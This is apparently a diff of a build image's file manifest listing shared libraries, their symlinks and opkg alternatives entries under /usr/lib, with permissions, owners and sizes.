+-rwxr-xr-x root root 182160 ./usr/lib/libexpat.so.1.6.11
+lrwxrwxrwx root root 18 ./usr/lib/libexpat.so.1 -> libexpat.so.1.6.11
+lrwxrwxrwx root root 18 ./usr/lib/libexpat.so -> libexpat.so.1.6.11
+lrwxrwxrwx root root 27 ./usr/lib/libfdisk.so -> ../../lib/libfdisk.so.1.1.0
+-rwxr-xr-x root root 43032 ./usr/lib/libffi.so.7.1.0
+lrwxrwxrwx root root 15 ./usr/lib/libffi.so.7 -> libffi.so.7.1.0
+lrwxrwxrwx root root 15 ./usr/lib/libffi.so -> libffi.so.7.1.0
+-rwxr-xr-x root root 14072 ./usr/lib/libfl.so.2.0.0
+lrwxrwxrwx root root 14 ./usr/lib/libfl.so.2 -> libfl.so.2.0.0
+lrwxrwxrwx root root 14 ./usr/lib/libfl.so -> libfl.so.2.0.0
+-rwxr-xr-x root root 288664 ./usr/lib/libfontconfig.so.1.12.0
+lrwxrwxrwx root root 23 ./usr/lib/libfontconfig.so.1 -> libfontconfig.so.1.12.0
+lrwxrwxrwx root root 23 ./usr/lib/libfontconfig.so -> libfontconfig.so.1.12.0
+-rwxr-xr-x root root 68696 ./usr/lib/libform.so.5.9
+lrwxrwxrwx root root 14 ./usr/lib/libform.so.5 -> libform.so.5.9
+lrwxrwxrwx root root 12 ./usr/lib/libform.so -> libform.so.5
+-rwxr-xr-x root root 76952 ./usr/lib/libformw.so.5.9
+lrwxrwxrwx root root 15 ./usr/lib/libformw.so.5 -> libformw.so.5.9
+lrwxrwxrwx root root 13 ./usr/lib/libformw.so -> libformw.so.5
+-rwxr-xr-x root root 722832 ./usr/lib/libfreetype.so.6.17.2
+lrwxrwxrwx root root 21 ./usr/lib/libfreetype.so.6 -> libfreetype.so.6.17.2
+lrwxrwxrwx root root 21 ./usr/lib/libfreetype.so -> libfreetype.so.6.17.2
+-rwxr-xr-x root root 14080 ./usr/lib/libgdbm_compat.so.4.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libgdbm_compat.so.4 -> libgdbm_compat.so.4.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libgdbm_compat.so -> libgdbm_compat.so.4.0.0
+-rwxr-xr-x root root 59392 ./usr/lib/libgdbm.so.6.0.0
+lrwxrwxrwx root root 16 ./usr/lib/libgdbm.so.6 -> libgdbm.so.6.0.0
+lrwxrwxrwx root root 16 ./usr/lib/libgdbm.so -> libgdbm.so.6.0.0
+-rwxr-xr-x root root 1932600 ./usr/lib/libgio-2.0.so.0.6400.2
+lrwxrwxrwx root root 22 ./usr/lib/libgio-2.0.so.0 -> libgio-2.0.so.0.6400.2
+lrwxrwxrwx root root 15 ./usr/lib/libgio-2.0.so -> libgio-2.0.so.0
+-rwxr-xr-x root root 223248 ./usr/lib/libgirepository-1.0.so.1.0.0
+lrwxrwxrwx root root 28 ./usr/lib/libgirepository-1.0.so.1 -> libgirepository-1.0.so.1.0.0
+lrwxrwxrwx root root 24 ./usr/lib/libgirepository-1.0.so -> libgirepository-1.0.so.1
+-rwxr-xr-x root root 325664 ./usr/lib/libglapi.so.0.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libglapi.so.0 -> libglapi.so.0.0.0
+lrwxrwxrwx root root 13 ./usr/lib/libglapi.so -> libglapi.so.0
+-rwxr-xr-x root root 1203480 ./usr/lib/libglib-2.0.so.0.6400.2
+lrwxrwxrwx root root 23 ./usr/lib/libglib-2.0.so.0 -> libglib-2.0.so.0.6400.2
+lrwxrwxrwx root root 16 ./usr/lib/libglib-2.0.so -> libglib-2.0.so.0
+-rwxr-xr-x root root 498608 ./usr/lib/libGL.so.1.2.0
+lrwxrwxrwx root root 14 ./usr/lib/libGL.so.1 -> libGL.so.1.2.0
+lrwxrwxrwx root root 10 ./usr/lib/libGL.so -> libGL.so.1
+-rwxr-xr-x root root 18304 ./usr/lib/libgmodule-2.0.so.0.6400.2
+lrwxrwxrwx root root 26 ./usr/lib/libgmodule-2.0.so.0 -> libgmodule-2.0.so.0.6400.2
+lrwxrwxrwx root root 19 ./usr/lib/libgmodule-2.0.so -> libgmodule-2.0.so.0
+-rwxr-xr-x root root 489440 ./usr/lib/libgmp.so.10.4.0
+lrwxrwxrwx root root 16 ./usr/lib/libgmp.so.10 -> libgmp.so.10.4.0
+lrwxrwxrwx root root 16 ./usr/lib/libgmp.so -> libgmp.so.10.4.0
+-rwxr-xr-x root root 30696 ./usr/lib/libgmpxx.so.4.6.0
+lrwxrwxrwx root root 17 ./usr/lib/libgmpxx.so.4 -> libgmpxx.so.4.6.0
+lrwxrwxrwx root root 17 ./usr/lib/libgmpxx.so -> libgmpxx.so.4.6.0
+-rwxr-xr-x root root 354344 ./usr/lib/libgobject-2.0.so.0.6400.2
+lrwxrwxrwx root root 26 ./usr/lib/libgobject-2.0.so.0 -> libgobject-2.0.so.0.6400.2
+lrwxrwxrwx root root 19 ./usr/lib/libgobject-2.0.so -> libgobject-2.0.so.0
+-rwxr-xr-x root root 14000 ./usr/lib/libgthread-2.0.so.0.6400.2
+lrwxrwxrwx root root 26 ./usr/lib/libgthread-2.0.so.0 -> libgthread-2.0.so.0.6400.2
+lrwxrwxrwx root root 19 ./usr/lib/libgthread-2.0.so -> libgthread-2.0.so.0
+-rwxr-xr-x root root 46944 ./usr/lib/libhistory.so.8.0
+lrwxrwxrwx root root 17 ./usr/lib/libhistory.so.8 -> libhistory.so.8.0
+lrwxrwxrwx root root 17 ./usr/lib/libhistory.so -> libhistory.so.8.0
+-rwxr-xr-x root root 101096 ./usr/lib/libICE.so.6.3.0
+lrwxrwxrwx root root 15 ./usr/lib/libICE.so.6 -> libICE.so.6.3.0
+lrwxrwxrwx root root 15 ./usr/lib/libICE.so -> libICE.so.6.3.0
+-rwxr-xr-x root root 35256 ./usr/lib/libip4tc.so.2.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libip4tc.so.2 -> libip4tc.so.2.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libip4tc.so -> libip4tc.so.2.0.0
+-rwxr-xr-x root root 35256 ./usr/lib/libip6tc.so.2.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libip6tc.so.2 -> libip6tc.so.2.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libip6tc.so -> libip6tc.so.2.0.0
+-rwxr-xr-x root root 83992 ./usr/lib/libkmod.so.2.3.5
+lrwxrwxrwx root root 16 ./usr/lib/libkmod.so.2 -> libkmod.so.2.3.5
+lrwxrwxrwx root root 16 ./usr/lib/libkmod.so -> libkmod.so.2.3.5
+-rwxr-xr-x root root 18240 ./usr/lib/libkms.so.1.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libkms.so.1 -> libkms.so.1.0.0
+lrwxrwxrwx root root 11 ./usr/lib/libkms.so -> libkms.so.1
+-rwxr-xr-x root root 161760 ./usr/lib/liblzma.so.5.2.5
+lrwxrwxrwx root root 16 ./usr/lib/liblzma.so.5 -> liblzma.so.5.2.5
+lrwxrwxrwx root root 16 ./usr/lib/liblzma.so -> liblzma.so.5.2.5
+-rwxr-xr-x root root 141200 ./usr/lib/liblzo2.so.2.0.0
+lrwxrwxrwx root root 16 ./usr/lib/liblzo2.so.2 -> liblzo2.so.2.0.0
+lrwxrwxrwx root root 16 ./usr/lib/liblzo2.so -> liblzo2.so.2.0.0
+-rwxr-xr-x root root 34976 ./usr/lib/libmenu.so.5.9
+lrwxrwxrwx root root 14 ./usr/lib/libmenu.so.5 -> libmenu.so.5.9
+lrwxrwxrwx root root 12 ./usr/lib/libmenu.so -> libmenu.so.5
+-rwxr-xr-x root root 39072 ./usr/lib/libmenuw.so.5.9
+lrwxrwxrwx root root 15 ./usr/lib/libmenuw.so.5 -> libmenuw.so.5.9
+lrwxrwxrwx root root 13 ./usr/lib/libmenuw.so -> libmenuw.so.5
+-rwxr-xr-x root root 26584 ./usr/lib/libmnl.so.0.2.0
+lrwxrwxrwx root root 15 ./usr/lib/libmnl.so.0 -> libmnl.so.0.2.0
+lrwxrwxrwx root root 15 ./usr/lib/libmnl.so -> libmnl.so.0.2.0
+lrwxrwxrwx root root 27 ./usr/lib/libmount.so -> ../../lib/libmount.so.1.1.0
+-rw-r--r-- root root 106 ./usr/lib/libm.so
+lrwxrwxrwx root root 22 ./usr/lib/libmvec.so -> ../../lib/libmvec.so.1
+-rw-r--r-- root root 62 ./usr/lib/libncurses.so
+-rw-r--r-- root root 63 ./usr/lib/libncursesw.so
+-rwxr-xr-x root root 96288 ./usr/lib/libnsl.so.2.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libnsl.so.2 -> libnsl.so.2.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libnsl.so -> libnsl.so.2.0.0
+lrwxrwxrwx root root 28 ./usr/lib/libnss_compat.so -> ../../lib/libnss_compat.so.2
+lrwxrwxrwx root root 24 ./usr/lib/libnss_db.so -> ../../lib/libnss_db.so.2
+lrwxrwxrwx root root 25 ./usr/lib/libnss_dns.so -> ../../lib/libnss_dns.so.2
+lrwxrwxrwx root root 27 ./usr/lib/libnss_files.so -> ../../lib/libnss_files.so.2
+lrwxrwxrwx root root 28 ./usr/lib/libnss_hesiod.so -> ../../lib/libnss_hesiod.so.2
+-rwxr-xr-x root root 1426544 ./usr/lib/libopcodes-2.34.0.20200220.so
+lrwxrwxrwx root root 29 ./usr/lib/libopcodes.so -> libopcodes-2.34.0.20200220.so
+-rwxr-xr-x root root 18168 ./usr/lib/libpanel.so.5.9
+lrwxrwxrwx root root 15 ./usr/lib/libpanel.so.5 -> libpanel.so.5.9
+lrwxrwxrwx root root 13 ./usr/lib/libpanel.so -> libpanel.so.5
+-rwxr-xr-x root root 18168 ./usr/lib/libpanelw.so.5.9
+lrwxrwxrwx root root 16 ./usr/lib/libpanelw.so.5 -> libpanelw.so.5.9
+lrwxrwxrwx root root 14 ./usr/lib/libpanelw.so -> libpanelw.so.5
+-rwxr-xr-x root root 42896 ./usr/lib/libpciaccess.so.0.11.1
+lrwxrwxrwx root root 22 ./usr/lib/libpciaccess.so.0 -> libpciaccess.so.0.11.1
+lrwxrwxrwx root root 22 ./usr/lib/libpciaccess.so -> libpciaccess.so.0.11.1
+-rwxr-xr-x root root 42984 ./usr/lib/libpcrecpp.so.0.0.2
+lrwxrwxrwx root root 19 ./usr/lib/libpcrecpp.so.0 -> libpcrecpp.so.0.0.2
+lrwxrwxrwx root root 19 ./usr/lib/libpcrecpp.so -> libpcrecpp.so.0.0.2
+-rwxr-xr-x root root 14224 ./usr/lib/libpcreposix.so.0.0.7
+lrwxrwxrwx root root 21 ./usr/lib/libpcreposix.so.0 -> libpcreposix.so.0.0.7
+lrwxrwxrwx root root 21 ./usr/lib/libpcreposix.so -> libpcreposix.so.0.0.7
+-rwxr-xr-x root root 489400 ./usr/lib/libpcre.so.1.2.12
+lrwxrwxrwx root root 17 ./usr/lib/libpcre.so.1 -> libpcre.so.1.2.12
+lrwxrwxrwx root root 17 ./usr/lib/libpcre.so -> libpcre.so.1.2.12
+-r-xr-xr-x root root 3351136 ./usr/lib/libperl.so.5.30.0
+lrwxrwxrwx root root 17 ./usr/lib/libperl.so.5 -> libperl.so.5.30.0
+lrwxrwxrwx root root 17 ./usr/lib/libperl.so -> libperl.so.5.30.0
+-rwxr-xr-x root root 694264 ./usr/lib/libpixman-1.so.0.40.0
+lrwxrwxrwx root root 21 ./usr/lib/libpixman-1.so.0 -> libpixman-1.so.0.40.0
+lrwxrwxrwx root root 16 ./usr/lib/libpixman-1.so -> libpixman-1.so.0
+-rwxr-xr-x root root 219024 ./usr/lib/libpng16.so.16.37.0
+lrwxrwxrwx root root 19 ./usr/lib/libpng16.so.16 -> libpng16.so.16.37.0
+lrwxrwxrwx root root 19 ./usr/lib/libpng16.so -> libpng16.so.16.37.0
+lrwxrwxrwx root root 11 ./usr/lib/libpng.so -> libpng16.so
+-rwxr-xr-x root root 79888 ./usr/lib/libprocps.so.8.0.2
+lrwxrwxrwx root root 18 ./usr/lib/libprocps.so.8 -> libprocps.so.8.0.2
+lrwxrwxrwx root root 18 ./usr/lib/libprocps.so -> libprocps.so.8.0.2
+lrwxrwxrwx root root 25 ./usr/lib/libpthread.so -> ../../lib/libpthread.so.0
+-rwxr-xr-x root root 3271808 ./usr/lib/libpython3.8.so.1.0
+lrwxrwxrwx root root 19 ./usr/lib/libpython3.8.so -> libpython3.8.so.1.0
+-rwxr-xr-x root root 13920 ./usr/lib/libpython3.so
+-rwxr-xr-x root root 330696 ./usr/lib/libreadline.so.8.0
+lrwxrwxrwx root root 18 ./usr/lib/libreadline.so.8 -> libreadline.so.8.0
+lrwxrwxrwx root root 18 ./usr/lib/libreadline.so -> libreadline.so.8.0
+lrwxrwxrwx root root 24 ./usr/lib/libresolv.so -> ../../lib/libresolv.so.2
+lrwxrwxrwx root root 20 ./usr/lib/librt.so -> ../../lib/librt.so.1
+lrwxrwxrwx root root 31 ./usr/lib/libsmartcols.so -> ../../lib/libsmartcols.so.1.1.0
+-rwxr-xr-x root root 38736 ./usr/lib/libSM.so.6.0.1
+lrwxrwxrwx root root 14 ./usr/lib/libSM.so.6 -> libSM.so.6.0.1
+lrwxrwxrwx root root 14 ./usr/lib/libSM.so -> libSM.so.6.0.1
+-rwxr-xr-x root root 1244736 ./usr/lib/libsqlite3.so.0.8.6
+lrwxrwxrwx root root 19 ./usr/lib/libsqlite3.so.0 -> libsqlite3.so.0.8.6
+lrwxrwxrwx root root 19 ./usr/lib/libsqlite3.so -> libsqlite3.so.0.8.6
+-rwxr-xr-x root root 593728 ./usr/lib/libssl.so.1.1
+lrwxrwxrwx root root 13 ./usr/lib/libssl.so -> libssl.so.1.1
+-rwxr-xr-x root root 1866240 ./usr/lib/libstdc++.so.6.0.28
+lrwxrwxrwx root root 19 ./usr/lib/libstdc++.so.6 -> libstdc++.so.6.0.28
+lrwxrwxrwx root root 19 ./usr/lib/libstdc++.so -> libstdc++.so.6.0.28
+-rw-r--r-- root root 46 ./usr/lib/libtermcap.so
+lrwxrwxrwx root root 27 ./usr/lib/libthread_db.so -> ../../lib/libthread_db.so.1
+-rwxr-xr-x root root 67472 ./usr/lib/libtic.so.5.9
+lrwxrwxrwx root root 13 ./usr/lib/libtic.so.5 -> libtic.so.5.9
+lrwxrwxrwx root root 11 ./usr/lib/libtic.so -> libtic.so.5
+-rwxr-xr-x root root 67472 ./usr/lib/libticw.so.5.9
+lrwxrwxrwx root root 14 ./usr/lib/libticw.so.5 -> libticw.so.5.9
+lrwxrwxrwx root root 12 ./usr/lib/libticw.so -> libticw.so.5
+lrwxrwxrwx root root 23 ./usr/lib/libtinfo.so -> ../../lib/libtinfo.so.5
+-rwxr-xr-x root root 161888 ./usr/lib/libtirpc.so.3.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libtirpc.so.3 -> libtirpc.so.3.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libtirpc.so -> libtirpc.so.3.0.0
+lrwxrwxrwx root root 26 ./usr/lib/libudev.so -> ../../lib/libudev.so.1.6.3
+lrwxrwxrwx root root 22 ./usr/lib/libutil.so -> ../../lib/libutil.so.1
+lrwxrwxrwx root root 26 ./usr/lib/libuuid.so -> ../../lib/libuuid.so.1.3.0
+-rwxr-xr-x root root 68272 ./usr/lib/libwayland-client.so.0.3.0
+lrwxrwxrwx root root 26 ./usr/lib/libwayland-client.so.0 -> libwayland-client.so.0.3.0
+lrwxrwxrwx root root 22 ./usr/lib/libwayland-client.so -> libwayland-client.so.0
+-rwxr-xr-x root root 30720 ./usr/lib/libwayland-cursor.so.0.0.0
+lrwxrwxrwx root root 26 ./usr/lib/libwayland-cursor.so.0 -> libwayland-cursor.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libwayland-cursor.so -> libwayland-cursor.so.0
+-rwxr-xr-x root root 14080 ./usr/lib/libwayland-egl.so.1.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libwayland-egl.so.1 -> libwayland-egl.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libwayland-egl.so -> libwayland-egl.so.1
+-rwxr-xr-x root root 88784 ./usr/lib/libwayland-server.so.0.1.0
+lrwxrwxrwx root root 26 ./usr/lib/libwayland-server.so.0 -> libwayland-server.so.0.1.0
+lrwxrwxrwx root root 22 ./usr/lib/libwayland-server.so -> libwayland-server.so.0
+lrwxrwxrwx root root 26 ./usr/lib/libwrap.so -> ../../lib/libwrap.so.0.7.6
+-rwxr-xr-x root root 1308960 ./usr/lib/libX11.so.6.3.0
+lrwxrwxrwx root root 15 ./usr/lib/libX11.so.6 -> libX11.so.6.3.0
+lrwxrwxrwx root root 15 ./usr/lib/libX11.so -> libX11.so.6.3.0
+-rwxr-xr-x root root 13848 ./usr/lib/libX11-xcb.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libX11-xcb.so.1 -> libX11-xcb.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libX11-xcb.so -> libX11-xcb.so.1.0.0
+-rwxr-xr-x root root 14144 ./usr/lib/libXau.so.6.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libXau.so.6 -> libXau.so.6.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libXau.so -> libXau.so.6.0.0
+-rwxr-xr-x root root 14256 ./usr/lib/libxcb-composite.so.0.0.0
+lrwxrwxrwx root root 25 ./usr/lib/libxcb-composite.so.0 -> libxcb-composite.so.0.0.0
+lrwxrwxrwx root root 25 ./usr/lib/libxcb-composite.so -> libxcb-composite.so.0.0.0
+-rwxr-xr-x root root 14248 ./usr/lib/libxcb-damage.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-damage.so.0 -> libxcb-damage.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-damage.so -> libxcb-damage.so.0.0.0
+-rwxr-xr-x root root 14248 ./usr/lib/libxcb-dpms.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-dpms.so.0 -> libxcb-dpms.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-dpms.so -> libxcb-dpms.so.0.0.0
+-rwxr-xr-x root root 22440 ./usr/lib/libxcb-dri2.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-dri2.so.0 -> libxcb-dri2.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-dri2.so -> libxcb-dri2.so.0.0.0
+-rwxr-xr-x root root 18344 ./usr/lib/libxcb-dri3.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-dri3.so.0 -> libxcb-dri3.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-dri3.so -> libxcb-dri3.so.0.0.0
+-rwxr-xr-x root root 116648 ./usr/lib/libxcb-glx.so.0.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-glx.so.0 -> libxcb-glx.so.0.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-glx.so -> libxcb-glx.so.0.0.0
+-rwxr-xr-x root root 14248 ./usr/lib/libxcb-present.so.0.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libxcb-present.so.0 -> libxcb-present.so.0.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libxcb-present.so -> libxcb-present.so.0.0.0
+-rwxr-xr-x root root 67496 ./usr/lib/libxcb-randr.so.0.1.0
+lrwxrwxrwx root root 21 ./usr/lib/libxcb-randr.so.0 -> libxcb-randr.so.0.1.0
+lrwxrwxrwx root root 21 ./usr/lib/libxcb-randr.so -> libxcb-randr.so.0.1.0
+-rwxr-xr-x root root 18344 ./usr/lib/libxcb-record.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-record.so.0 -> libxcb-record.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-record.so -> libxcb-record.so.0.0.0
+-rwxr-xr-x root root 59304 ./usr/lib/libxcb-render.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-render.so.0 -> libxcb-render.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-render.so -> libxcb-render.so.0.0.0
+-rwxr-xr-x root root 18344 ./usr/lib/libxcb-res.so.0.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-res.so.0 -> libxcb-res.so.0.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-res.so -> libxcb-res.so.0.0.0
+-rwxr-xr-x root root 14256 ./usr/lib/libxcb-screensaver.so.0.0.0
+lrwxrwxrwx root root 27 ./usr/lib/libxcb-screensaver.so.0 -> libxcb-screensaver.so.0.0.0
+lrwxrwxrwx root root 27 ./usr/lib/libxcb-screensaver.so -> libxcb-screensaver.so.0.0.0
+-rwxr-xr-x root root 14248 ./usr/lib/libxcb-shape.so.0.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libxcb-shape.so.0 -> libxcb-shape.so.0.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libxcb-shape.so -> libxcb-shape.so.0.0.0
+-rwxr-xr-x root root 14248 ./usr/lib/libxcb-shm.so.0.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-shm.so.0 -> libxcb-shm.so.0.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-shm.so -> libxcb-shm.so.0.0.0
+-rwxr-xr-x root root 169920 ./usr/lib/libxcb.so.1.1.0
+lrwxrwxrwx root root 15 ./usr/lib/libxcb.so.1 -> libxcb.so.1.1.0
+lrwxrwxrwx root root 15 ./usr/lib/libxcb.so -> libxcb.so.1.1.0
+-rwxr-xr-x root root 34728 ./usr/lib/libxcb-sync.so.1.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-sync.so.1 -> libxcb-sync.so.1.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-sync.so -> libxcb-sync.so.1.0.0
+-rwxr-xr-x root root 18344 ./usr/lib/libxcb-xf86dri.so.0.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libxcb-xf86dri.so.0 -> libxcb-xf86dri.so.0.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libxcb-xf86dri.so -> libxcb-xf86dri.so.0.0.0
+-rwxr-xr-x root root 34728 ./usr/lib/libxcb-xfixes.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-xfixes.so.0 -> libxcb-xfixes.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-xfixes.so -> libxcb-xfixes.so.0.0.0
+-rwxr-xr-x root root 14256 ./usr/lib/libxcb-xinerama.so.0.0.0
+lrwxrwxrwx root root 24 ./usr/lib/libxcb-xinerama.so.0 -> libxcb-xinerama.so.0.0.0
+lrwxrwxrwx root root 24 ./usr/lib/libxcb-xinerama.so -> libxcb-xinerama.so.0.0.0
+-rwxr-xr-x root root 149416 ./usr/lib/libxcb-xinput.so.0.1.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-xinput.so.0 -> libxcb-xinput.so.0.1.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-xinput.so -> libxcb-xinput.so.0.1.0
+-rwxr-xr-x root root 120744 ./usr/lib/libxcb-xkb.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-xkb.so.1 -> libxcb-xkb.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-xkb.so -> libxcb-xkb.so.1.0.0
+-rwxr-xr-x root root 14248 ./usr/lib/libxcb-xtest.so.0.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libxcb-xtest.so.0 -> libxcb-xtest.so.0.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libxcb-xtest.so -> libxcb-xtest.so.0.0.0
+-rwxr-xr-x root root 18344 ./usr/lib/libxcb-xvmc.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-xvmc.so.0 -> libxcb-xvmc.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-xvmc.so -> libxcb-xvmc.so.0.0.0
+-rwxr-xr-x root root 34728 ./usr/lib/libxcb-xv.so.0.0.0
+lrwxrwxrwx root root 18 ./usr/lib/libxcb-xv.so.0 -> libxcb-xv.so.0.0.0
+lrwxrwxrwx root root 18 ./usr/lib/libxcb-xv.so -> libxcb-xv.so.0.0.0
+-rwxr-xr-x root root 14144 ./usr/lib/libXdamage.so.1.1.0
+lrwxrwxrwx root root 19 ./usr/lib/libXdamage.so.1 -> libXdamage.so.1.1.0
+lrwxrwxrwx root root 19 ./usr/lib/libXdamage.so -> libXdamage.so.1.1.0
+-rwxr-xr-x root root 26432 ./usr/lib/libXdmcp.so.6.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libXdmcp.so.6 -> libXdmcp.so.6.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libXdmcp.so -> libXdmcp.so.6.0.0
+-rwxr-xr-x root root 80992 ./usr/lib/libXext.so.6.4.0
+lrwxrwxrwx root root 16 ./usr/lib/libXext.so.6 -> libXext.so.6.4.0
+lrwxrwxrwx root root 16 ./usr/lib/libXext.so -> libXext.so.6.4.0
+-rwxr-xr-x root root 30464 ./usr/lib/libXfixes.so.3.1.0
+lrwxrwxrwx root root 18 ./usr/lib/libXfixes.so.3 -> libXfixes.so.3.1.0
+lrwxrwxrwx root root 18 ./usr/lib/libXfixes.so -> libXfixes.so.3.1.0
+-rwxr-xr-x root root 1409880 ./usr/lib/libxml2.so.2.9.10
+lrwxrwxrwx root root 17 ./usr/lib/libxml2.so.2 -> libxml2.so.2.9.10
+lrwxrwxrwx root root 17 ./usr/lib/libxml2.so -> libxml2.so.2.9.10
+-rwxr-xr-x root root 47024 ./usr/lib/libXrandr.so.2.2.0
+lrwxrwxrwx root root 18 ./usr/lib/libXrandr.so.2 -> libXrandr.so.2.2.0
+lrwxrwxrwx root root 18 ./usr/lib/libXrandr.so -> libXrandr.so.2.2.0
+-rwxr-xr-x root root 47184 ./usr/lib/libXrender.so.1.3.0
+lrwxrwxrwx root root 19 ./usr/lib/libXrender.so.1 -> libXrender.so.1.3.0
+lrwxrwxrwx root root 19 ./usr/lib/libXrender.so -> libXrender.so.1.3.0
+-rwxr-xr-x root root 14152 ./usr/lib/libxshmfence.so.1.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libxshmfence.so.1 -> libxshmfence.so.1.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libxshmfence.so -> libxshmfence.so.1.0.0
+-rwxr-xr-x root root 63384 ./usr/lib/libxtables.so.12.2.0
+lrwxrwxrwx root root 20 ./usr/lib/libxtables.so.12 -> libxtables.so.12.2.0
+lrwxrwxrwx root root 20 ./usr/lib/libxtables.so -> libxtables.so.12.2.0
+-rwxr-xr-x root root 22456 ./usr/lib/libXxf86vm.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libXxf86vm.so.1 -> libXxf86vm.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libXxf86vm.so -> libXxf86vm.so.1.0.0
+lrwxrwxrwx root root 24 ./usr/lib/libz.so -> ../../lib/libz.so.1.2.11
+-rw-r--r-- root root 1368 ./usr/lib/Mcrt1.o
+drwxr-xr-x root root 4096 ./usr/lib/opkg
+drwxr-xr-x root root 12288 ./usr/lib/opkg/alternatives
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/[[
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/addgroup
+-rw-r--r-- root root 60 ./usr/lib/opkg/alternatives/addr2line
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/adduser
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/ar
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/arch
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/as
+-rw-r--r-- root root 32 ./usr/lib/opkg/alternatives/ash
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/awk
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/base64
+-rw-r--r-- root root 73 ./usr/lib/opkg/alternatives/basename
+-rw-r--r-- root root 29 ./usr/lib/opkg/alternatives/bash
+-rw-r--r-- root root 31 ./usr/lib/opkg/alternatives/bc
+-rw-r--r-- root root 30 ./usr/lib/opkg/alternatives/bin-lsmod
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/blkid
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/blockdev
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/bunzip2
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/bzcat
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/bzip2
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/cal
+-rw-r--r-- root root 55 ./usr/lib/opkg/alternatives/cat
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/c++filt
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/chattr
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/chcon
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/chfn
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/chgrp
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/chmod
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/chown
+-rw-r--r-- root root 49 ./usr/lib/opkg/alternatives/chpasswd
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/chroot
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/chrt
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/chsh
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/chvt
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/cksum
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/clear
